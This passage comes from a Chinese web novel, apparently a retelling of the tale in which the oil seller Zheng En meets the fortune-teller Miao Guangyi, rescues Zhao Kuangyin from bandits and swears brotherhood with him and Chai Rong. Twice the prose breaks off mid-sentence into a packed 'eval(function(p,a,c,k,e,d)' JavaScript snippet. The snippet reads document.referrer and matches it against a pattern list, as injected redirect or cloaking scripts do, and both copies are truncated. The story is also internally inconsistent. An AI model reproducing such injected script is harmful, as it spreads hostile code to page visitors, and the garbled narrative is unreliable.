郑恩停下手,眼睛瞪着掌柜的:“赔?你赔的梆子有我爹留下的这个好吗?我那个梆子是枣木做的,敲起来声音特别响,你能赔给我吗?” 就在这时,酒馆门口走进来一个人,穿着一件洗得发白的青布长衫,手里拿着一把折扇,头发用一根木簪挽着,看起来像个读书人。他走到郑恩身边,笑着说:“这位小哥,别生气了。我看你相貌不凡,是个有福气的人,怎么能为了一个梆子,在这里动气呢?不如我给你相个面,说说你的前程,说不定能帮你找到梆子呢?” 郑恩本来还想发火,可一看这个人说话和气,眼神也很和善,心里的火气就消了点。他皱着眉问:“你会相面?真能帮我找到梆子?” 那个人笑了笑:“能不能找到梆子,咱们先不说。我先给你相相面,你就知道我有没有本事了。” 正是因为这个人的到来,后面才有了这些事——拦路的贪心汉子,虽然暂时保住了性命;在山上当山贼的恶人,却逃不过马上就要死的命运。这正是: 要是没有别人指点,拨开眼前的迷雾,怎么能让名声传遍天下呢? 不知道来的这个人到底是谁,咱们下一回再接着说。 8. 第 8 章 话说郑恩在平定州的“悦来小馆”里正急得直跺脚,黑黢黢的脸上满是怒气,连络腮胡子都跟着颤——他那只卖油用的枣木梆子不见了。这梆子可不是普通物件,是他爹临终前留给他的,枣木质地坚硬,敲起来“梆梆”响,附近三条街的街坊,一听这声就知道是“黑面郑”来卖油了。今儿个他从山西乔山县挑着两桶香油来城里,刚在小馆门口歇脚喝口凉茶,转身的功夫,梆子就没了影。 “王掌柜!你这馆子是咋看的?俺的油梆子就放门口桌角,眨眼就没了!”郑恩拍着桌子,震得桌上的粗瓷茶碗都叮当作响。掌柜王老实是个矮胖的中年人,正扒拉着算盘算账,吓得赶紧丢下算盘跑过来,脸上堆着笑:“郑爷您别气,许是哪个半大孩子不懂事拿错了?俺让小二帮您找找!” 旁边帮工的王小二才十五六岁,梳着个小发髻,听了赶紧放下手里的抹布,跟着郑恩在馆子前后转了个遍——门口的台阶缝、柜台后的杂物堆、甚至连后厨的柴房都瞅了,连梆子的影子都没见着。“郑爷,真没有啊,会不会是您刚才挑担过来时,颠得掉路上了?”王小二声音细细的,生怕惹恼了这个出了名的暴脾气。 郑恩一跺脚,粗声粗气地说:“不可能!俺挑担时都把梆子攥在手里,就刚才在这儿歇脚,才随手放了一会儿!”他心里更急了——这梆子要是找不着,明天没法吆喝卖油,家里卧病的老娘还等着他买米抓药呢,越想越上火,嗓门也拔高了:“今儿个要是找不着梆子,俺就不走了!” 就在这时,馆子门口传来一阵慢悠悠的吆喝声:“相面喽——贫道苗光义,走南闯北算祸福,看相断事没不准的!要瞧前程的,过来聊聊,算不准分文不取!”众人抬头一看,进来个道士:穿件洗得发白的青布道袍,袖口还打了个补丁,手里拿个拂尘,头发用木簪挽着,脸上皱纹不多,可那双眼睛亮得很,像是能把人心里的事都看透。 苗光义一进馆子,目光就落在郑恩身上,上下打量了两眼,心里顿时有了数:“原来是黑虎星官落难在这儿,得点拨他几句,别误了日后的大前程。”他慢悠悠走过去,对着正发脾气的郑恩拱了拱手:“这位黑面兄弟,多大点事,犯不着动这么大肝火?” 郑恩回头瞪了他一眼,没好气道:“你算你的相,少管俺的闲事!俺的油梆子丢了,正烦着呢!” 苗光义却不恼,依旧笑着说:“兄弟莫急,你是不是丢了要紧东西?跟贫道说说,贫道帮你算一卦,保管能找着。” 郑恩愣了愣——这道士怎么知道自己丢东西了?他半信半疑地说:“俺丢的不是别的,就是个卖油的梆子,枣木做的,巴掌那么大,敲着响得很。” “那你报个时辰,贫道给你掐算掐算。”苗光义说着,就伸出了右手,手指修长,指甲修剪得整齐。 郑恩想了想,刚才发现丢梆子时,太阳刚过头顶偏西,大概是戌时,就瓮声瓮气地说:“戌时。” 苗光义指尖掐了掐,嘴里念念有词,过了片刻,睁开眼说:“戌时属土,对应生肖是狗;你那油梆子是木头做的,木克土,这梆子要么是被土埋了,要么就是被看家的黄狗叼走了。你去馆子后院的狗窝找找,准能找着。” 郑恩将信将疑,拉着王老实就往后院走。王老实的馆子后院确实养了条黄狗,平时拴在墙角的狗窝里,专用来防贼。两人走到狗窝旁,低头一瞅——嘿,那只枣木油梆子正横在狗窝的干草堆里,黄狗还趴在旁边,用爪子拨弄着梆子玩呢! 郑恩赶紧把梆子捡起来,用袖子擦了擦上面的草屑,心里又惊又喜——这道士也太神了!他攥着梆子跑回前馆,对着苗光义拱了拱手,语气都软了不少:“先生真有本事!俺活了二十五年,从没见过这么准的相面先生!您再给俺相相面,看看俺以后能不能有出息?” 苗光义点点头:“要相面也行,不过这里人多嘴杂,有些话不方便说,你跟贫道出城,咱们找个清静地方,贫道细细跟你说。” 郑恩一听,赶紧挑起墙角的油担,对着王老实喊了句“回头再来给你茶钱”,就跟着苗光义出了平定州城。王小二在后面追着喊:“郑爷,您的油还没卖呢!”郑恩头也不回地挥挥手:“今个不卖了,有急事!” 两人出了城,沿着城外的小路走了约莫半个时辰,到了一片开阔的平原——远处是金黄的麦田,近处有几棵老槐树,偶尔能看到农夫扛着锄头从田里路过。郑恩放下油担,擦了擦额头上的汗,催着说:“先生,现在没外人了,您快说说,俺以后能有啥出息?” 苗光义先问:“你先跟贫道说说,你叫啥名字,老家在哪儿?贫道知道了这些,才能给你好好相面,分文不取。” “俺叫郑恩,号子明,老家是山西乔山县的,村里人都叫俺‘黑面郑’。”郑恩爽快地答,一点也不藏着掖着。 苗光义点点头,又仔细端详了郑恩的面相——额头宽,下巴方,眼窝深,虽然皮肤黑,但透着股英气,就说:“子明兄弟,你现在看着就是个普通卖油的,日子过得平平淡淡,但过个三五年,你就能交上鸿运,时来运转,建功立业。将来你能系着玉带,当个王爷,那福气大得很呢!” 郑恩一听,眼睛瞬间亮了,可没一会儿又耷拉下来——当个王爷?这也太玄乎了!他这辈子最大的心愿,就是多卖几桶油,攒够钱给老娘治病,再娶个勤快媳妇,踏踏实实过日子,当个王爷简直像做梦一样。 苗光义看出了他的疑惑,从怀里掏出一个黄纸柬帖,还有八枚边缘带花纹的铜钱,递给郑恩:“你把这柬帖和铜钱收好,千万别丢了。从今天起,你每天卖油,别往别的地方去,就围着城里的销金桥转。记住,九月初九重阳节那天,你一定要去救驾;要是遇到一个红脸红须的好汉,那就是真命天子,你的功名富贵,全在他身上。到时候,你把这铜钱和柬帖交给她就行。” 说完,苗光义又念了几句口诀似的话:“黄土坡前结义,下山虎保双龙。木铃离合有定,悲欢情意无穷。若问先生名姓,光义苗姓真宗。今朝在此分手,禅州聚义相逢。” 念完,苗光义对着郑恩拱了拱手,转身就走,脚步轻飘飘的,没一会儿就消失在远处的树林里,连个背影都看不见了。 郑恩攥着柬帖和铜钱,站在原地发愣。他想不信吧,那油梆子确实是道士算出来的,一点没错;想信吧,当个王爷又实在太不现实。他摸了摸怀里的柬帖,黄纸还带着点墨香,铜钱上面刻着奇怪的花纹,不像普通的铜钱。“算了,先按先生说的做,等重阳节到了,就知道是真是假了。”他挑着油担往回走,心里却一直琢磨着“救驾”“真命天子”这些陌生的词,越想越觉得稀奇。 日子一天天过去,郑恩每天都围着销金桥卖油。销金桥是平定州最热闹的地方,来往的客商多,油卖得也快。那些收税的差役,见了郑恩都躲着走——前两个月有个新来的差役,不知道郑恩的脾气,拦着他要税钱,被郑恩一拳打趴在地上,疼得直哭。后来差役的头头董达知道了,也不敢惹他,还让手下的人时常请郑恩去酒馆吃酒吃肉,怕他闹事。 不知不觉,就到了九月初九重阳节。这天早上,郑恩挑着油担去销金桥,刚上桥就觉得不对劲——平时桥上搭着的税棚,居然被拆了,差役用的戥子、夹剪、算盘扔在桥边的草丛里,一个人都没有,连平时守桥的老卒也不见踪影。 “这是咋回事?难道差役们都过节去了?”郑恩嘀咕着,往前走了几步,看到桥边卖重阳糕的王婆。王婆跟郑恩熟,见他过来,赶紧掀开蒸笼盖子,笑着招呼:“郑爷,您来啦?快买块重阳糕,刚蒸好的,甜得很!” 郑恩走过去,掏出两个铜板递给王婆,拿了块热乎乎的糕,边吃边问:“王婆,那些收税的差役呢?咋一个都没见着?” 王婆压低声音,凑到郑恩耳边说:“郑爷,您还不知道啊?昨个晚上,来了一伙强人,拿着刀枪,把税棚给拆了,还把差役们都吓跑了!听说那伙强人是董达的人,跟山里的土匪串通好了,要在这儿抢东西呢!” 郑恩一听,心里“咯噔”一下——董达这小子,平时就仗着有点势力欺负人,没想到还敢勾结土匪!他吃完糕,挑着油担继续往前走,心里却想起苗光义的话:重阳节救驾。“救驾?驾在哪儿呢?别是那道士骗俺吧?” 走了没多远,就看到之前常去的“醉仙楼”,郑恩觉得有点渴,就想进去喝几杯。进了楼,掌柜李大叔赶紧迎上来,脸上堆着笑:“郑爷,您来啦?快坐!还是老样子,来一壶高粱酒?” 郑恩放下油担,摸了摸口袋,发现早上买糕把铜板花光了,就从怀里掏出刚才在桥上捡的算盘、戥子,放在桌上:“李大叔,俺今个没带钱,这几件东西跟你换几壶酒喝,行不?” 李大叔一看桌上的东西,脸瞬间白了,赶紧把东西往郑恩面前推:“郑爷,您可别害俺!这是税棚里的东西,董达正为这事上火呢,谁敢收啊?您要是没带钱,先喝酒吃菜,钱的事以后再说,不碍事!” 说着,李大叔赶紧让伙计端上一壶高粱酒、一盘酱牛肉、一碗炒青菜。郑恩也不客气,拿起酒壶就往嘴里灌,牛肉大口大口地吃,没一会儿,一壶酒就见了底,菜也吃了大半。他抹了抹嘴,站起来说:“李大叔,谢了啊,俺记着账,以后准给你还上!” 李大叔笑着摆手:“没事没事,郑爷,您记住今儿个是九月初九重阳节就行!” “九月初九……”郑恩心里又想起苗光义的话,嘀咕着出了酒楼,顺着河沿往南走。走了一会儿,他发现油桶里的油已经卖完了,只剩下两只竹编的油篓。这两只油篓用了三年多,里面积了不少黑泥垢,看着脏兮兮的。 “反正现在没事,把油篓洗洗吧,干净点下次好用。”郑恩想着,就把油担放在河岸边,解下腰间的绳子,把刚才捡的算盘、戥子捆好,放在一边。然后他抱起一只油篓,放进河里,弯腰晃了晃,想把泥垢晃出来。可这油篓外面涂过桐油,防水得很,晃了半天,水都没进去多少,泥垢还是牢牢粘在上面。 郑恩急了,双手抓住油篓口,使劲往下按。没想到他力气太大,一按下去,河水“哗啦”一声往上涌,油篓没按住,反而被水流冲得往南边飘去。“哎!我的油篓!”郑恩大叫一声,伸手去抓,可油篓飘得太快,一下子就飘出去好几丈远。 这油篓虽然不值钱,但也是吃饭的家伙,郑恩舍不得,赶紧脱下粗布上衣、裤子和布鞋,扔在河滩上,只穿了个打了补丁的油布兜肚,“扑通”一声跳进河里,往油篓飘走的方向追去。他从小在河边长大,水性不错,在水里游得又快又稳,一边游一边喊:“别跑!俺的油篓!” 河边洗衣的李大嫂看到了,赶紧直起腰喊:“黑大哥,小心点!这河段有暗流,别呛着!”郑恩哪顾得上这些,一门心思追油篓,眼里就盯着那只飘在水面上的油篓。 就在这时,天空中突然传来一个洪亮的声音:“郑子明!此时不救驾,更待何时?” 郑恩愣了一下,抬头往四周看了看,河边除了李大嫂和几个洗衣的妇人,再没别人。“谁?谁在喊俺?”他嘀咕着,还以为是李大嫂喊他,回头一看,李大嫂正低头搓衣服呢,根本没抬头。 没等他想明白,那声音又响了,比刚才更急:“黑娃子!快去救驾!再耽误就晚了!” “黑娃子”是郑恩的乳名,只有他老娘才这么叫他!郑恩心里一震,再抬头看时,只见南边的天空中,飘着一朵暗红色的云,云里隐约有一条赤红色的龙,张牙舞爪的,像是在挣扎,周围还围着一团黑气。 “这……这是真龙?”郑恩瞬间想起苗光义说的“真命天子”,心里一下子明白了——刚才那声音是神祇在喊他!救驾的事是真的!那赤龙下面,肯定就是真命天子! 他也顾不上追油篓了,赶紧往河岸游,爬上岸后,赤着身子就往南边跑。跑了没几步,他又停住了——手里没兵器啊!前面肯定有打斗,赤手空拳怎么救驾?总不能用拳头跟人家的刀枪拼吧? 就在这时,他看到路边种着一片枣树,有大有小,长得枝繁叶茂的。“有了!”郑恩眼睛一亮,跑过去挨个看了看,挑了一棵最粗的枣树——这棵树得有碗口粗,树干笔直,枝桠也结实。他蹲下身子,双手紧紧抱住树干,双脚蹬住地面,深吸一口气,“嗨!”地一声,使出全身力气往后一拽。 只听“轰隆”一声,那棵枣树连树根带土被硬生生拔了起来,泥土溅了郑恩一身!旁边路过的农夫刘五正好看到这一幕,吓得手里的锄头“当啷”掉在地上,撒腿就跑,边跑边喊:“妖怪啊!黑妖怪拔树啦!” 郑恩没空理他,把枣树根上的泥土往地上磕了磕,又伸手扯掉上面的细枝嫩叶,剩下一根光秃秃的树干,足有一丈长,百十来斤重。他把树干扛在肩上,迈开大步,往南边烟尘起的地方跑去——那边已经能隐约听到喊杀声了,越来越近。 没跑多久,郑恩就进了一个叫“九曲十八湾”的山谷。这山谷弯弯曲曲的,两边都是陡峭的山坡,山谷里,一群人正围着一个红脸红须的大汉打斗。那大汉手里拿着一根镔铁棍棒,打得很勇猛,棍子舞得虎虎生风,但额头上已经满是汗水,脸色也有点发白,显然是打了很久,体力快跟不上了。周围的强人有百十来个,手里都拿着刀枪,为首的两个:一个脸圆眼大,穿着锦袍,是董达;另一个瘦脸尖下巴,满脸横肉,是山里的土匪头头魏青,旁边还站着个跟魏青长得有几分像的汉子,应该是他弟弟魏明。 “就是他!红脸红须的!”郑恩一眼就认出那大汉是苗光义说的真命天子,顿时来了劲,大吼一声:“驴球入的!都给俺闪开!俺来救驾!” 这一嗓子跟打雷似的,山谷里都有回音。打斗的人都愣住了,停下手里的动作往这边看。董达手下有个小头目叫李三,之前请郑恩吃过酒,认识他,还以为郑恩是来帮忙的,赶紧喊:“郑哥!你来得正好!快帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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董达看到魏氏兄弟都死了,知道自己打不过,大喊一声:“快撤!”转身就往山谷外跑。郑恩想追,赵匡胤赶紧拉住他:“兄弟,别追了!穷寇莫追,先歇口气!” 郑恩这才停下,喘着粗气,把枣树干往地上一扔,看着赵匡胤,咧开嘴笑了:“俺……俺郑恩,是来救驾的!” 赵匡胤仔细打量着郑恩,见他虽然赤身露体,只穿了个油布兜肚,皮肤黑得发亮,但身材魁梧,眼神正直,没有一点邪气,心里很是喜欢。他拱了拱手,语气诚恳地说:“多谢壮士相救!小弟赵匡胤,不知壮士高姓大名,家住何方?” 郑恩刚想回答,肚子却“咕噜”叫了一声——刚才在酒楼吃的那点东西,早就消化完了,又打了一场硬仗,肚子饿得更厉害了。他不好意思地挠了挠头,嘿嘿笑着说:“俺叫郑恩,山西乔山县人。俺……俺有点饿了,要不咱们先找个地方吃点东西,再慢慢说?” 赵匡胤一听,忍不住笑了:“壮士说得是,俺也饿了。俺还有个盟友叫柴荣,在黄土坡等俺,咱们去黄土坡,俺请你吃酒,再叫几个硬菜!” 两人说着,就往山谷外走。走了没几步,赵匡胤看到郑恩赤着身子,脸上有点不好意思,说:“兄弟,你怎么没穿衣服?这样在路上走,来往的人看了不雅观,也容易着凉。” 郑恩一拍脑袋,恍然大悟:“哎呀!俺刚才追油篓,把衣服扔在河边了,后来救驾急,忘了拿了!” 赵匡胤想了想,把自己外面穿的青缎袍脱下来,递给郑恩:“兄弟,你先穿俺的袍子吧,先遮遮体。这袍子是缎子的,比粗布衣服软和。” 郑恩接过袍子,赶紧穿上。这缎子袍比他平时穿的粗布衣服舒服多了,就是有点大,套在身上晃悠悠的。他系腰带的时候,发现自己没带腰带,急得抓耳挠腮。赵匡胤见状,又解下自己的鸾带,递给她:“用这个系上吧,能勒紧点,免得袍子掉下来。” 郑恩接过鸾带,系在腰上,正好合身。他看赵匡胤没了腰带,赶紧说:“俺系了你的腰带,你咋办啊?总不能敞着衣服走吧?” 赵匡胤笑着说:“没事,俺有办法。”他把手里的镔铁棍棒拿起来,嘴里念了几句郑恩听不懂的咒语。只见那棍棒“唰”的一下,突然发出一阵金光,眨眼间就变成了一条金光闪闪的鸾带。赵匡胤把带系在腰上,正好合适。 郑恩看呆了,眼睛瞪得溜圆,嘴巴张得能塞进一个拳头:“俺……俺活了二十五年,从没见过棍棒能变腰带的!这是宝贝啊!太神奇了!” 赵匡胤笑了,拍了拍郑恩的肩膀:“兄弟,你说话直爽,性子也耿直,是个好汉,俺很喜欢你。以后咱们就是兄弟了。” 郑恩不好意思地挠了挠头,嘿嘿笑着说:“俺就是个卖油的,不会说好听的话,也没啥本事,就是力气大点。咱们快走吧,俺真饿了,黄土坡在哪儿啊?远不远?” 两人说着,就往黄土坡的方向走。走了约莫一个时辰,终于到了黄土坡。这黄土坡不高,坡下有一片空地,赵匡胤抬头一看,只见他之前停在空地的轮伞车还在,车上的锦缎帘子还挂着,可柴荣却不见了踪影。 “咦?柴荣兄弟呢?俺们约好了在这里见面,怎么没人?”赵匡胤心里一紧,赶紧四处张望——坡上的草丛、坡下的树林,甚至连轮伞车周围都瞅了个遍,连个人影都没见着。 郑恩也帮着找,一边找一边说:“会不会是柴荣大哥等不及,去别的地方了?或者去附近的镇子买东西了?咱们再找找,喊几声试试?” 赵匡胤点点头,心里却有点着急——柴荣是他的结拜兄弟,两人一起出来闯荡,约定好在这里汇合,怎么会突然不见了?难道是遇到什么危险了? 正着急的时候,远处来了个书生,背着个蓝色的书箱,手里拿着一把折扇,急匆匆地往这边走。赵匡胤赶紧迎上去,拱了拱手,语气客气地说:“这位兄台,请问你有没有看到一个穿锦袍、留着长须的人?他叫柴荣,约莫三十来岁,个子跟俺差不多高。” 书生停下脚步,想了想,说:“哦,你说的是那位锦袍先生啊!刚才我从东边的柳溪镇过来,看到他往柳溪镇的方向走了。他好像挺着急的,说是要去镇里找一个姓赵的朋友,还问我柳溪镇怎么走呢。” 赵匡胤一听,心里松了口气,对着书生拱了拱手:“多谢兄台告知!太感谢了!” 书生点点头,笑着说:“举手之劳,不用谢。你们快去吧,柳溪镇离这儿不远,走半个时辰就能到。”说完,就背着书箱继续往前走了。 赵匡胤转过身,对郑恩说:“柴荣兄弟往柳溪镇去了,咱们也去柳溪镇找他。等找到了他,咱们三个一起吃酒,好好聊聊。” 郑恩点点头,咽了咽口水:“好!只要有酒有肉,俺跟你走!咱们快走吧,俺的肚子都快饿扁了!” 两人说着,就往柳溪镇的方向走。他们还不知道,柳溪镇里,正有一场更大的风波等着他们——董达已经逃到了柳溪镇,还召集了更多的土匪,准备报复他们。 究竟柴荣在柳溪镇会不会遇到危险?赵匡胤和郑恩能不能顺利找到柴荣,又能不能躲过董达的报复?且看下回分解。 9. 第 9 章 话说赵匡胤跟着郑恩,一路赶到黄土坡前,远远就看见那辆装伞的车子斜放在路边,可平日里总跟在车旁的柴荣,这会儿却连个人影都没见着。赵匡胤心里“咯噔”一下,一股慌劲儿直往上冲,连忙放开嗓子喊了几声“大哥”,喊了好一会儿,才听见坡下有人慢悠悠地应道:“贤弟,愚兄在这儿呢。” 赵匡胤赶紧顺着声音往下跑,凑近了才看清——柴荣正缩在一道避风的土墙凹里,盘腿坐在地上,居然把上衣脱了,光着膀子,手指头在身上来回扒拉,看样子是在捉虱子。见赵匡胤来了,柴荣才慌忙把衣服往身上套,扣子都扣错了两颗,三步并作两步迎上来,一开口就急着问:“贤弟,可把愚兄盼坏了!你去追那个董达,最后打赢了没?他有没有伤着你?” 赵匡胤叹了口气,脸上还带着几分没缓过来的疲惫:“大哥,别提了,我差点就见不着你了。我追着董达那厮,本来想在半路上把他解决了,没成想那家伙鬼得很,把我诱进了九曲十八湾——那地方岔路比头发丝还多,他早就串通了山里的土匪在那儿等着。一来是贼人人多势众,我就一个人,寡不敌众;二来我压根不认识路,那窄窄的山道连挥刀的地方都没有,跟他们耗了快一个时辰,怎么也占不了上风。就在我快撑不住的时候,多亏了这位壮士冲过来,他手里那根枣木棍跟长了眼睛似的,一下就冲散了土匪,还打死了好几个,可惜让董达趁乱跑了。我心里一直惦记着你,没敢再追,就跟着这位壮士回来了,能再见到你,真是万幸。” 柴荣听着,心里又是担忧又是庆幸。担忧的是董达这一跑,肯定记恨上他们了,以后要是单独赶路,保不齐那家伙会设什么圈套,到时候性命都难保住;庆幸的是赵匡胤不仅没事,还打了胜仗,更重要的是,多了郑恩这么个帮手——看郑恩那身板,胳膊比普通人的腿还粗,以后真遇到事,说不定能帮上大忙。 他往赵匡胤身后瞅了瞅,一眼就看见郑恩:这汉子皮肤黑得跟炭似的,脸上胡茬乱蓬蓬的,眼睛瞪得溜圆,看着就凶巴巴的,肩上还扛着一根碗口粗的枣木棍,杵在那儿跟尊黑铁塔似的,一动不动。柴荣心里不由得打了个哆嗦,赶紧稳住神,客客气气地问:“这位壮士高姓大名?家住在哪个地方啊?” 赵匡胤一拍脑袋,笑着说:“哎呀,光顾着回来找你,我还没问壮士的名号呢。不过这位好汉是真仗义,萍水相逢就肯舍命救我,这样的人世上可不多见,我打心眼儿里佩服。我想跟他拜把子,做异姓兄弟,以后不管有什么难处,都互相帮衬,大哥你觉得怎么样?” 柴荣一听,眼睛都亮了,连忙点头:“贤弟这话说到我心坎里了!只是这黄土坡荒郊野岭的,连个人家都没有,拜把子得用的香烛、祭品,一样都没有,这可怎么办?” 郑恩在旁边听着,粗着嗓子笑了:“这有啥难的!前面那个镇子,街上的店铺我大多认识,你们要想买香烛、吃的,赶紧拿点银子出来,我跑一趟,保准给你们买得齐齐全全的!” 赵匡胤赶紧从随身的行囊里摸出几块碎银子,递给郑恩。郑恩接过银子,往口袋里一塞,转身就往镇子跑,脚步快得跟一阵风似的。到了镇子上,他先奔熟食店——店主王屠户正拿着刀在案子上切肉,见郑恩来了,笑着打趣:“郑兄弟,今天怎么有空来?还是买两斤酱牛肉?” 郑恩把胸脯一拍:“王掌柜,今天不买牛肉,给我来只最大的烧公鸡,要那皮烤得金黄酥脆的;再要一个煮烂的猪脑袋,还有一尾熟鱼,越肥越好!对了,再打一坛你们这儿最烈的酒!” 王屠户一边应着,一边麻利地把东西装起来:“哟,这是有大事啊?买这么多好东西。” “那可不!”郑恩咧嘴一笑,“我要跟两位哥哥拜把子,得吃点好的!” 买完这些,他又去馒头铺找李大娘,要了百十个白面馒头。李大娘看他买得多,又多塞了两个,笑着说:“你这孩子,看着粗,心眼倒实诚,拿着吧,跟你哥哥们一起吃。” 郑恩谢过李大娘,找常去买油的张老板借了个布袋,把鸡、猪首、鱼、馒头一股脑儿装进去,扛在肩上,手里拎着酒坛,刚要往回走,就闻见一阵香味——路边有家小酒馆,门口支着个大铁锅,锅里煮着牛肉,热气腾腾的,香味顺着风飘过来,勾得他肚子直叫。 他赶紧钻进酒馆,指着锅里的牛肉说:“店家,给我来四个大牛蹄,切碎了,多放椒盐!”店家刚把牛蹄切好,郑恩就撩起衣襟,把牛蹄裹在里面,揣进怀里,又扛起布袋、拎着酒,大步往回走。走在路上,他实在忍不住,掏出一块牛蹄就往嘴里塞,也不管烫不烫、咸不淡,嚼都没嚼几下就咽下去,等走到黄土坡的时候,怀里的四个牛蹄已经被他吃得干干净净,连手指头都舔了一遍。 到了坡前,郑恩看见柴荣和赵匡胤正等着,赶紧把嘴擦干净,把东西往地上一放,咧着大嘴笑:“快!快拜兄弟!拜完了咱们好赶紧吃,别等东西凉了,那可就没味儿了!” 赵匡胤笑着说:“壮士别急啊,咱们得先论论年纪,排个大小,不然以后谁叫谁哥、谁叫谁弟,岂不乱了套?你先说说你多大了。” 郑恩咂了下嘴,有点不耐烦:“论年纪多麻烦啊!随便拜拜不就行了?要是再磨蹭,等会儿吃冷的,我这肚子该闹脾气了。” 赵匡胤耐着性子劝:“壮士,这你就不懂了。论年纪排大小,是规矩,要是没规矩,跟那些没教化的鸡鸭有啥区别?而且我早就跟柴大哥拜过兄弟了,他是兄,我是弟,哪能乱了次序?你就说说你的年纪吧。” 郑恩没法子,只好老实说:“我家在山西乔山县,姓郑,名恩,号子明,小时候人家都叫我黑娃子。我今年十八,是腊月三十晚上子时生的——这总没错了吧?” 赵匡胤一听,笑着说:“这么说,柴大哥二十,是大哥;我十九,是二哥;你十八,是三弟。那咱们现在就拜天地。” 郑恩一听不乐意了,摆着手说:“不行不行!要拜兄弟,得听我的!你当大哥,我当二哥,姓柴的当三弟!你要是听我的,我就跟你们拜;要是不听,那咱们就各走各的,散伙!” 赵匡胤皱着眉说:“哪有这样的道理?年纪大的当大哥,这是天经地义的事,怎么能乱改?柴大哥比我们都大,自然是大哥,这事没得商量。” 郑恩哈哈大笑起来,拍了拍赵匡胤的肩膀:“行!算你厉害,我听你的!再磨蹭下去,东西真凉了,那可就亏大了!” 说着,郑恩把布袋里的鸡、猪首、鱼都拿出来,摆在伞车上,又把馒头和酒坛放在旁边。三人刚要跪下,赵匡胤突然想起什么,指着郑恩说:“子明,你怎么没买香烛啊?拜天地得有香烛才行。” 郑恩一拍脑袋,嘿嘿笑了:“嗨!光顾着琢磨吃的,把这事儿忘了!没事,我在这儿堆三个土堆,就当是香烛,一样管用!” 柴荣点点头:“子明说得对,咱们撮土为香,只要心诚,天地自然能看见。” 三人一起跪下,柴荣心里默念:“天地在上,我柴荣今日与赵匡胤、郑恩结为异姓兄弟,从此有福同享,有难同当,若有二心,必遭天谴。”赵匡胤也在心里想:“我赵匡胤漂泊多年,今日得此两位兄弟,柴荣仁厚,郑恩勇猛,以后定要一起做些大事,不辜负这份情义。”郑恩虽然粗,却也没含糊,心里直愣愣地想:“二哥救过我,大哥看着和气,以后谁欺负他们,我就一棍子把谁打跑!” 三人各自报了家乡、姓名、生辰八字,又对着天地磕了三个头,然后互相之间又磕了八个头,这才站起来。紧接着,三人围坐在伞车旁,拿起酒坛,你一口我一口地喝,烧鸡肉、猪首肉往嘴里塞,馒头一口能啃半个,没一会儿就把桌上的东西吃了个精光。 刚要收拾东西赶路,郑恩突然一拍大腿:“二哥,等会儿!我差点忘了个事儿!”他伸手从怀里摸出一个油乎乎的兜肚——这是他装钱用的,因为常年装香油钱,兜肚早就被油浸透了,水都渗不进去。他从兜肚里摸出一张折得方方正正的柬帖,递给赵匡胤:“二哥,这是一个叫苗光义的相面先生让我给你的,他说你看了就知道。我之前蹚水的时候,多亏了这兜肚油多,柬帖才没湿,不然早烂了。” 赵匡胤接过柬帖,拆开一看,里面还包着八个铜钱,纸上写着六个字:“此钱千博千赢。”再看柬帖上,还有两行小字:“输了鸾带莫输山,赌去银钱莫赌誓。”他皱着眉,心里纳闷:这苗光义上次在东京的时候,就胡说八道,说我有帝王相,被我赶了出去,这次怎么又找上来了?这两句话到底是什么意思?是预言,还是圈套? 他不想让柴荣和郑恩担心,就把柬帖揉成一团,又扯得粉碎,塞进嘴里咽了下去,还故意骂道:“这江湖骗子,就会说些没头没脑的话,谁信他!”其实,他悄悄把那八个铜钱收进了贴身的荷包里——不知为什么,他总觉得这八个铜钱或许有用。 柴荣看出他神色不对,却没多问,只是说:“贤弟,别跟他一般见识。现在天还早,咱们赶紧赶路,别错过了宿头。”郑恩也在旁边附和:“对!赶路!说不定前面还有好东西吃!” 三人收拾好东西,柴荣推着伞车,郑恩扛着枣木棍走在前面,赵匡胤跟在后面,顺着关西大路往前走。走了快两个时辰,太阳慢慢沉了下去,天色渐渐暗了下来,刚好看见前面有个庄子,庄子门口挂着个木牌,上面写着“独龙庄”三个字。 进了庄子,他们找了家看起来还算干净的客栈,把伞车推了进去。店小二刘三迎上来,脸上堆着笑,却没像别的客栈那样问要不要吃饭。赵匡胤刚要叫他准备晚饭,刘三就先开口了:“客官,实在对不住,我们这独龙庄,就我们这一家客栈,平时只给客人提供住宿,每人收十文火钱,要是想吃酒饭,得自己动手做——我们这儿不管饭,您得多担待。” 赵匡胤皱了皱眉,刚要从怀里摸银子,柴荣就拦住他:“贤弟,不用破费,我车上还带着米呢,酒肉的钱我来出就行。”说着,他从自己的银包里称了一块三四钱重的银子,递给刘三:“麻烦你去买些熟肉、一坛好酒,剩下的就当火钱。” 刘三接过银子,刚要走,旁边的帮工小三子凑过来,小声跟郑恩说:“爷,我们这庄里有个董老爷,叫董老虎,可凶了,平时没人敢惹他,你们晚上别出去乱走,免得惹麻烦。”郑恩拍了拍手里的枣木棍,满不在乎地说:“有我在,别说什么董老虎,就是老虎来了,我也一棍子打跑!”小三子见他不听,只好撇撇嘴,退到一边去了。 柴荣让郑恩去车上把米拿下来煮。郑恩走到伞车旁,打开装米的竹篓,看着里面的米,心里想:二哥和大哥都是有本事的人,肯定能吃,我得多煮点,别到时候不够吃,让人笑话。他也没数有多少米,直接把整篓米都倒进了客栈墙角的铁锅里,又往锅里加了点水——他哪里懂煮米的门道,水加得少了,刚煮了一会儿,锅底就开始“滋滋”响。 郑恩蹲在灶边,盯着锅里的米,心里还琢磨:怎么没香味啊?是不是火太小了?他又往灶里添了几根柴火,等了一会儿,掀开锅盖一看,米还是一粒一粒的,硬邦邦的。他伸手抓了一把,塞进嘴里嚼了嚼,觉得虽然有点硬,但挺有嚼头,心里还挺得意:这米煮得挺好,大哥肯定爱吃。 没过多久,刘三买了酒肉回来,柴荣和赵匡胤坐在桌边等着吃饭。柴荣见郑恩还在灶边忙活,就走过去看,一掀开锅盖,差点没愣住——锅里满满一锅生米,米粒还是白的,只是稍微有点软。他皱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 